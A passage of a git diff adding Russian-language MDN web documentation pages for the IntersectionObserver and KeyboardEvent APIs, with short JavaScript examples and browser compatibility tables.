+<p>Вы можете увидеть результат в окне ниже. Попробуйте экспериментировать с прокрутой и понаблюдайте за тем, как изменение видимости затрагивает каждый таймер. Кроме того, обратите внимание, что каждый рекламный блок обновляется только в том случае, если он уже был видим в течение минуты.</p>
+
+<p>{{EmbedLiveSample("fullpage_example", 750, 800)}}</p>
+
+<h2 id="См._также">См. также:</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer API</a></li>
+ <li><a href="/en-US/docs/Web/API/Page_Visibility_API">Page Visibility API</a></li>
+</ul>
diff --git a/files/ru/web/api/intersectionobserver/index.html b/files/ru/web/api/intersectionobserver/index.html
new file mode 100644
index 0000000000..707224cab5
--- /dev/null
+++ b/files/ru/web/api/intersectionobserver/index.html
@@ -0,0 +1,95 @@
+---
+title: IntersectionObserver
+slug: Web/API/IntersectionObserver
+tags:
+  - API
+  - Experimental
+  - Interface
+  - Intersection Observer
+  - Intersection Observer API
+  - Reference
+  - observers
+translation_of: Web/API/IntersectionObserver
+---
+<div>{{APIRef("Intersection Observer API")}}</div>
+
+<p>Интерфейс <code><strong>IntersectionObserver</strong></code> в составе <a href="/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer API</a> <span class="seoSummary">предоставляет возможность асинхронного наблюдения за изменением пересечения целевого элемента с вышестоящим элементом или с верхоуровневым {{Glossary('viewport')}} документа.</span> Вышестоящий элемент или viewport считается корнем.</p>
+
+<p>Когда <code>IntersectionObserver</code> создан, он настроен на отслеживание заданных соотношений видимости в корне. Конфигурация не может быть изменена после создания <code>IntersectionObserver</code>, поэтому такой объект-наблюдатель полезен только для наблюдения за определенными изменениями в степени видимости; однако вы можете следить за несколькими целевыми элементами с одним и тем же наблюдателем.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("IntersectionObserver.IntersectionObserver()")}}</dt>
+ <dd>Создаёт новый объект <code>IntersectionObserver</code>, который будет запускать специальную callback-функцию, когда обнаружит пересечение одного или нескольких пороговых значений видимостью целевого элемента.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("IntersectionObserver.root")}} {{readonlyinline}}</dt>
+ <dd>Конкретный предок наблюдаемого целевого {{domxref("element")}}. Если в конструктор не было передано значения или оно <code>null</code>, будет использован viewport документа.</dd>
+ <dt>{{domxref("IntersectionObserver.rootMargin")}} {{readonlyinline}}</dt>
+ <dd>Смещение прямоугольника (<em>пер.</em> "An offset rectangle"), применяемое к {{Glossary('bounding box')}} корня при расчёте пересечений, эффективно сжимает или увеличивает корень для целей расчёта. Возвращаемое этим свойством значение может не совпадать со значением, указанным при вызове конструктора, поскольку оно может быть изменено в соответствии с внутренними требованиями. Каждое смещение может быть выражено в пикселях (<code>px</code>) или в процентах (<code>%</code>). Значение по умолчанию "0px 0px 0px 0px".</dd>
+ <dt>{{domxref("IntersectionObserver.thresholds")}} {{readonlyinline}}</dt>
+ <dd>Список порогов, отсотированный по возрастанию, где каждый порог представляет собой отношение площади пересечения к ограничивающей области наблюдаемой цели. Уведомления для цели генерируются, когда любое из пороговых значений пересекается для этой цели. Если в конструктор не было передано значения, используется 0.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("IntersectionObserver.disconnect()")}}</dt>
+ <dd>Отключает объект <code>IntersectionObserver</code> от наблюдения любой цели.</dd>
+ <dt>{{domxref("IntersectionObserver.observe()")}}</dt>
+ <dd>Сообщает объекту <code>IntersectionObserver</code> целевой элемент для наблюдения.</dd>
+ <dt>{{domxref("IntersectionObserver.takeRecords()")}}</dt>
+ <dd>Возвращает массив из объектов {{domxref("IntersectionObserverEntry")}} для всех наблюдаемых целей.</dd>
+ <dt>{{domxref("IntersectionObserver.unobserve()")}}</dt>
+ <dd>Сообщает объекту <code>IntersectionObserver</code> прекратить наблюдение за конкретным целевым элементом.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">var intersectionObserver = new IntersectionObserver(function(entries) {
+  // Если intersectionRatio равен 0, цель вне зоны видимости
+  // и нам не нужно ничего делать
+  if (entries[0].intersectionRatio &lt;= 0) return;
+
+  loadItems(10);
+  console.log('Loaded new items');
+});
+// начать наблюдение
+intersectionObserver.observe(document.querySelector('.scrollerFooter'));</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("IntersectionObserver", "#intersection-observer-interface", "IntersectionObserver")}}</td>
+   <td>{{Spec2('IntersectionObserver')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.IntersectionObserver")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref('MutationObserver')}}</li>
+ <li>{{domxref('PerformanceObserver')}}</li>
+ <li>{{domxref('ResizeObserver')}}</li>
+</ul>
diff --git a/files/ru/web/api/keyboardevent/altkey/index.html b/files/ru/web/api/keyboardevent/altkey/index.html
new file mode 100644
index 0000000000..0ac07c64c1
--- /dev/null
+++ b/files/ru/web/api/keyboardevent/altkey/index.html
@@ -0,0 +1,117 @@
+---
+title: KeyboardEvent.altKey
+slug: Web/API/KeyboardEvent/altKey
+translation_of: Web/API/KeyboardEvent/altKey
+---
+<p id="Summary">{{APIRef("DOM Events")}}</p>
+
+<p><strong><code>KeyboardEvent.altKey</code></strong> свойство только для чтения, возвращет  {{jsxref("Boolean")}}, если клавиша  <kbd>alt</kbd> (<kbd>Option</kbd> или <kbd>⌥</kbd> на OS X) была нажата (<code>true</code>) или не нажата (<code>false</code>), когда событие произошло.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var <em>altKeyPressed</em> = <em>instanceOfKeyboardEvent</em>.altKey
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;altKey example&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function showChar(e){
+  alert(
+    "Нажата клавиша: " + String.fromCharCode(e.charCode) + "\n"
+    + "charCode: " + e.charCode + "\n"
+    + "клавиша ALT нажата: " + e.altKey + "\n"
+  );
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onkeypress="showChar(event);"&gt;
+&lt;p&gt;
+Нажмите любую клавишу с зажатой клавишей ALT или без нее&lt;br /&gt;
+Вы можете также использовать SHIFT вместе с ALT.
+&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#widl-KeyboardEvent-altKey','KeyboardEvent.altkey')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость браузеров</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{ domxref("KeyboardEvent") }}</li>
+</ul>
diff --git a/files/ru/web/api/keyboardevent/index.html b/files/ru/web/api/keyboardevent/index.html
new file mode 100644
index 0000000000..82f1f9d634
--- /dev/null
+++ b/files/ru/web/api/keyboardevent/index.html
@@ -0,0 +1,465 @@
+---
+title: KeyboardEvent
+slug: Web/API/KeyboardEvent
+tags:
+  - API
+  - DOM
+  - Event
+  - UI Events
+  - Интерфейс
+  - Событие
+translation_of: Web/API/KeyboardEvent
+---
+<div>{{APIRef("DOM Events")}}</div>
+
+<p><code>Объекты </code><strong><code>KeyboardEvent</code></strong> описывают работу пользователя с клавиатурой. Каждое событие описывает клавишу; тип события (<code>keydown</code>, <code>keypress</code> или <code>keyup</code>) определяет произведённый тип действия.</p>
+
+<div class="note"><strong>Примечание:</strong> <code>KeyboardEvent</code> сообщит только о том, что на клавише произошло событие. Когда вам нужно обрабатывать ввод текста, то вместо него используйте "<code><a href="/ru/docs/DOM/DOM_event_reference/input" rel="custom">HTML5 input"</a></code>-событие. Например, если пользователь вводит текст рукописным способом, предположим с планшета, то события клавиш могут не возникать.</div>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}</dt>
+ <dd>Создаёт объект <code>KeyboardEvent</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс также наследует методы от своих родителей: {{domxref("UIEvent")}} и {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt><a id="getModifierState" name="getModifierState"></a>{{domxref("KeyboardEvent.getModifierState()")}}</dt>
+ <dd>Возвращает {{jsxref("Boolean")}}, показывающий, что использовалась клавиша-модификатор, такая как <kbd>Alt</kbd>, <kbd>Shift</kbd>, <kbd>Ctrl</kbd> или <kbd>Meta</kbd>, которая была нажата, когда создалось событие.</dd>
+ <dt>{{domxref("KeyboardEvent.initKeyEvent()")}}{{deprecated_inline}}</dt>
+ <dd>Инициализирует объект <code>KeyboardEvent</code>. Этот метод реализован только в движке Gecko (остальные использовали метод {{domxref("KeyboardEvent.initKeyboardEvent()")}}), и он не должен в дальнейшем использоваться. Новый стандартный способ - это использование конструктора {{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}.</dd>
+ <dt>{{domxref("KeyboardEvent.initKeyboardEvent()")}}{{deprecated_inline}}</dt>
+ <dd>Инициализирует объект <code>KeyboardEvent</code>. Этот метод никогда не был реализован в движке Gecko (вместо него использовался {{domxref("KeyboardEvent.initKeyEvent()")}}), и он не должен в дальнейшем использоваться. Новый стандартный способ - это использование конструктора {{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Этот интерфейс также наследует свойства от своих родителей: {{domxref("UIEvent")}} and {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("KeyboardEvent.altKey")}} {{Readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref("Boolean")}}, которое <code>true</code>, если клавиша <kbd>Alt</kbd> ( <kbd>Option</kbd> или <kbd>⌥</kbd> в OS X) была активна, когда возникло событие.</dd>
+ <dt>{{domxref("KeyboardEvent.char")}} {{Non-standard_inline}}{{Deprecated_inline}}{{Readonlyinline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}}, представляющий символьное значение клавиши. Если клавиша соответствует печатному символу, то это значение будет непустой Unicode-строкой, содержащей этот символ. Если клавиша не имеет печатного представления, то значение будет пустой строкой.
+ <div class="note"><strong>Примечание:</strong> Если клавиша использовалась как макрос, который вставляет несколько символов, то значением будет вся строка, а не только первый символ.</div>
+
+ <div class="warning"><strong>Предупреждение:</strong> Эта функция была удалена из событий "DOM Level 3 Events". Она поддержтвается только IE9+ и Microsoft Edge.</div>
+ </dd>
+ <dt>{{domxref("KeyboardEvent.charCode")}} {{Deprecated_inline}}{{Readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref("Number")}}, представляющий Unicode-номер клавиши; этот атрибут использовался только с событием <code>keypress</code>. Для клавиш, чей <code>char</code>-атрибут содержит несколько символов, то значением этого атрибута будет Unicode-значение первого символа. В Firefox 26 этот атрибут возвращал коды для печатных символов.
+ <div class="warning"><strong>Предупреждение:</strong> Это нерекомендуемый к эксплуатации атрибут; по возможности вам нужно использовать вместо него {{domxref("KeyboardEvent.key")}}.</div>
+ </dd>
+ <dt>{{domxref("KeyboardEvent.code")}} {{Readonlyinline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}} с кодом клавиши, представленного события.</dd>
+ <dt>{{domxref("KeyboardEvent.ctrlKey")}} {{Readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref("Boolean")}}, которое <code>true</code>, если клавиша  <kbd>Ctrl</kbd> была активна, когда возникло событие.</dd>
+ <dt>{{domxref("KeyboardEvent.isComposing")}} {{Readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref("Boolean")}}, которое <code>true</code>, если событие возникло между "после-<code>compositionstart</code>" и "до-<code>compositionend</code>".</dd>
+ <dt>{{domxref("KeyboardEvent.key")}} {{Readonlyinline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}}, представлающее значение клавиши, на которой возникло событие.</dd>
+ <dt>{{domxref("KeyboardEvent.keyCode")}} {{deprecated_inline}} {{Readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref("Number")}}, представляющее системный и зависящий от конкретной реализации числовой код, идентифицирущий немодифицированное значение нажатой клавиши.
+ <div class="warning"><strong>Предупреждение:</strong> Это нерекомендуемый  к эксплуатации атрибут; по возможности вам нужно использовать вместо него {{domxref("KeyboardEvent.key")}}.</div>
+ </dd>
+ <dt>{{domxref("KeyboardEvent.keyIdentifier")}} {{Non-standard_inline}}{{deprecated_inline}}{{Readonlyinline}}</dt>
+ <dd>Это свойство нестандартное, и его использование не рекомендуется в пользу {{domxref("KeyboardEvent.key")}}. Это часть устаревшего "DOM Level 3 Events".</dd>
+ <dt>{{domxref("KeyboardEvent.keyLocation")}} {{Non-standard_inline}}{{deprecated_inline}}{{Readonlyinline}}</dt>
+ <dd>Это нестандартный нерекомендуемый синоним для {{domxref("KeyboardEvent.location")}}. Это часть устаревшего "DOM Level 3 Events".</dd>
+ <dt>{{domxref("KeyboardEvent.locale")}} {{Readonlyinline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}}, представляет строку-локаль, которая показывает текущую конфигурацию локали клавиатуры. Это может быть пустая строка, если браузер или устройство не имеют понятия о локали клавиатуры.
+ <div class="note"><strong>Заметьте:</strong> Это не описание языка ввода текста. Пользователь может использовать одну раскладку клавиатуры для ввода на разных языках.</div>
+ </dd>
+ <dt>{{domxref("KeyboardEvent.location")}} {{Readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref("Number")}}, представляющее расположение клавиши на клавиатуре или другом устройстве ввода.</dd>
+ <dt>{{domxref("KeyboardEvent.metaKey")}} {{Readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref("Boolean")}}, которое <code>true</code>, если клавиша <kbd>Meta</kbd> (на клавиатуре Mac - клавиша <kbd>⌘ Command</kbd>; на Windows-клавиатуре - клавиша "Windows" <kbd>⊞</kbd>) была активна, когда возникло событие.</dd>
+ <dt>{{domxref("KeyboardEvent.repeat")}} {{Readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref("Boolean")}}, которое <code>true</code>, если клавиша была нажата до тех пор, пока её ввод не начал автоматически повторяться.</dd>
+ <dt>{{domxref("KeyboardEvent.shiftKey")}} {{Readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref("Boolean")}}, которое <code>true</code>, если клавиша <kbd>Shift</kbd> была активна, когда возникло событие.</dd>
+ <dt>{{domxref("KeyboardEvent.which")}} {{deprecated_inline}} {{Readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref("Number")}}, представляющее зависящее от конкретной реализации значение системного кода нажатой клавиши, который представляет собой немодифицируемое значение; это обычно то же, что свойство <code>keyCode</code>.
+ <div class="warning"><strong>Предупреждение:</strong> Это нерекомендуемый  к эксплуатации атрибут; по возможности вам нужно использовать вместо него {{domxref("KeyboardEvent.key")}}.</div>
+ </dd>
+</dl>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Особенности событий <code>keydown</code>, <code>keypress</code> и <code>keyup</code>. Для большинства клавиш Gecko обрабатывает последовательность событий так:</p>
+
+<ol>
+ <li>Когда клавиша сначала нажата, то отправляется событие <code>keydown</code>.</li>
+ <li>Если клавиша не является <a href="#getModifierState">модификатором</a>, то отправляется событие <code>keypress</code>.</li>
+ <li>Когда пользователь отпускает клавишу, то отправляется событие <code>keyup</code>.</li>
+</ol>
+
+<h3 id="Особые_случаи">Особые случаи</h3>
+
+<p>Некоторые клавиши переключают подсветку индикаторов, такие как <kbd>Caps Lock</kbd>, <kbd>Num Lock</kbd> и <kbd>Scroll Lock</kbd>. На Windows и Linux эти клавиши создают только лишь события <code>keydown</code> и <code>keyup</code>.</p>
+
+<div class="note">
+<p>В Linux Firefox 12 и более ранних также обрабатывается событие <code>keypress</code>.</p>
+</div>
+
+<p>Но в связи с ограничениями Mac OS X модель событий клавиши <kbd>Caps Lock</kbd> включает в себя только <code>keydown</code>. События <kbd>Num Lock</kbd> поддерживались на старых ноутбуках (2007 года и старше), но затем Mac OS X их перестала поддерживать, даже на внешних клавиатурах. На совсем старых MacBooks клавиша <kbd>Num Lock</kbd> вообще не генерирует никаких событий. Движок Gecko не поддерживает клавишу <kbd>Scroll Lock</kbd>, если это внешняя клавиатура с клавишей <kbd>F14</kbd>. В некоторых старых версиях Firefox эта клавиша генерирует событие <code>keypress</code>; это являлось нестабильным поведением и описано в {{bug(602812)}}.</p>
+
+<h3 id="Обработка_автоповтора_нажатой_клавиши">Обработка автоповтора нажатой клавиши</h3>
+
+<p>Когда клавиша нажата и удерживается, то начинается автоповтор. Результатом этого будет последовательность событий аналогичная следующей:</p>
+
+<ol>
+ <li><code>keydown</code></li>
+ <li><code>keypress</code></li>
+ <li><code>keydown</code></li>
+ <li><code>keypress</code></li>
+ <li>&lt;&lt;повтор до тех пор, пока пользователь не отпустит клавишу&gt;&gt;</li>
+ <li><code>keyup</code></li>
+</ol>
+
+<p>Это то, что должно произойти в соответствии со спецификацией DOM Level 3. Однако, есть несколько предостережений относительно этого, описанных ниже.</p>
+
+<h4 id="Автоповтор_на_некоторых_GTK-средах_таких_как_Ubuntu_9.4">Автоповтор на некоторых GTK-средах, таких как Ubuntu 9.4</h4>
+
+<p>В некоторых GTK-средах автоповтор обрабатывается автоматически нативными функциями как событие key-up, и у Gecko нет способа отличить серию одиночных нажатий от автоповтора. На таких платформах автоповтор генерирует следующую последовательность событий:</p>
+
+<ol>
+ <li><code>keydown</code></li>
+ <li><code>keypress</code></li>
+ <li><code>keyup</code></li>
+ <li><code>keydown</code></li>
+ <li><code>keypress</code></li>
+ <li><code>keyup</code></li>
+ <li>&lt;&lt;повтор, пока пользователь не отпустит клавишу&gt;&gt;</li>
+ <li><code>keyup</code></li>
+</ol>
+
+<p>В этих средах, к сожалению, нет возмодности сказать вэб-контенту, произошел автоповтор или клавиша быал нажата несколько раз.</p>
+
+<h4 id="Обработка_автоповтора_на_системах_до_Gecko_5.0">Обработка автоповтора на системах до Gecko 5.0</h4>
+
+<p>До Gecko 5.0 {{geckoRelease('5.0')}} обработка событий клавиатуры была различна на разных платформах.</p>
+
+<dl>
+ <dt>Windows</dt>
+ <dd>Поведение автоповтора такое же как в Gecko 4.0 и более поздних.</dd>
+ <dt>Mac</dt>
+ <dd>После первого события <code>keydown </code>только отправляются события <code>keypress </code>до тех пор, пока не произойдёт событие <code>keyup</code>; внутриинтервальные события <code>keydown </code>не отправляются.</dd>
+ <dt>Linux</dt>
+ <dd>Поведение событий зависит от конкретной платформы. Они могут иметь как Windows-тип и Mac-тип, так и свои собственные модели поведения.</dd>
+</dl>
+
+<p class="note"><strong>Замечание: </strong>при вызове события вручную <em>не </em>происходит никакого действия по умолчанию, связанного с данным событием. Например, если вызвать вручную событие нажатия клавиши, то никакая буква на поле вводимого текста не появится. В случае событий пользовательского интерфейса, что важно по соображениям безопасности, это предотвращает работу скриптов в браузере, которые эмулируют работу пользователя.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;script&gt;
+'use strict';
+
+document.addEventListener('keydown', (event) =&gt; {
+  const keyName = event.key;
+
+  if (keyName === 'Control') {
+    // not alert when only Control key is pressed.
+    return;
+  }
+
+  if (event.ctrlKey) {
+    // Хотя event.key это не 'Control' (например, нажата клавиша 'a'),
+    // то всё же event.ctrlKey может быть true, если ударживается клавиша Ctrl.
+    alert(`Combination of ctrlKey + ${keyName}`);
+  } else {
+    alert(`Key pressed ${keyName}`);
+  }
+}, false);
+
+document.addEventListener('keyup', (event) =&gt; {
+  const keyName = event.key;
+
+  // Как только пользователь отпустит клавишу Ctrl, то она больше не будет активной.
+  // Поэтому event.ctrlKey = false.
+  if (keyName === 'Control') {
+    alert('Control key was released');
+  }
+}, false);
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#interface-keyboardevent', 'KeyboardEvent')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Спецификация интерфейса <code>KeyboardEvent</code> прошла многочисленные черновые варианты, сперва в DOM Events Level 2, где её поддержка не добилась консенсуса, затем в DOM Events Level 3. Это привело к реализации нестандартных методов инициализации Gecko-браузерами в ранних версиях DOM Events Level 2 {{domxref("KeyboardEvent.initKeyEvent()")}} и в ранних версиях DOM Events Level 3 {{domxref("KeyboardEvent.initKeyboardEvent()")}} остальными браузерами. Но оба были заменены новой формой использования конструктора:{{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>constructor</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("31.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.char</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>9</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>.charCode</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.isComposing</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("31.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>.keyCode</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.locale</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>.location</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("15.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>.repeat</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("28.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>.which</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.initKeyboardEvent()</code></td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}<sup>[2]</sup></td>
+   <td>{{CompatIE("9.0")}}<sup>[3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>constructor</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("31.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.char</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.charCode</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.isComposing</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("31.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>.keyCode</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>.locale</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
